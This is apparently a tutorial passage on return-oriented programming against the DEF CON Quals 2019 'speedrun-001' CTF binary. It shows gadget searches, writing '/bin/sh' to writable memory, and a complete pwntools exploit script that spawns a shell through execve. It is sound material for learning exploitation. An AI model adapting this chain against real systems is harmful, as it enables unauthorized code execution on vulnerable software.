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ROP - call sys_execve

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In order to prepare the call for the syscall it's needed the following configuration:
  • rax: 59 Specify sys_execve
  • rdi: ptr to "/bin/sh" specify file to execute
  • rsi: 0 specify no arguments passed
  • rdx: 0 specify no environment variables passed
So, basically it's needed to write the string /bin/sh somewhere and then perform the syscall (being aware of the padding needed to control the stack).

Control the registers

Let's start by finding how to control those registers:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
With these addresses it's possible to write the content in the stack and load it into the registers.

Write string

Writable memory

Frist you need to find a writable place in the memory
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Write String

Then you need to find a way to write arbitrary content in this address
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

32 bits

'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 bits

'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

Example

from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()

References

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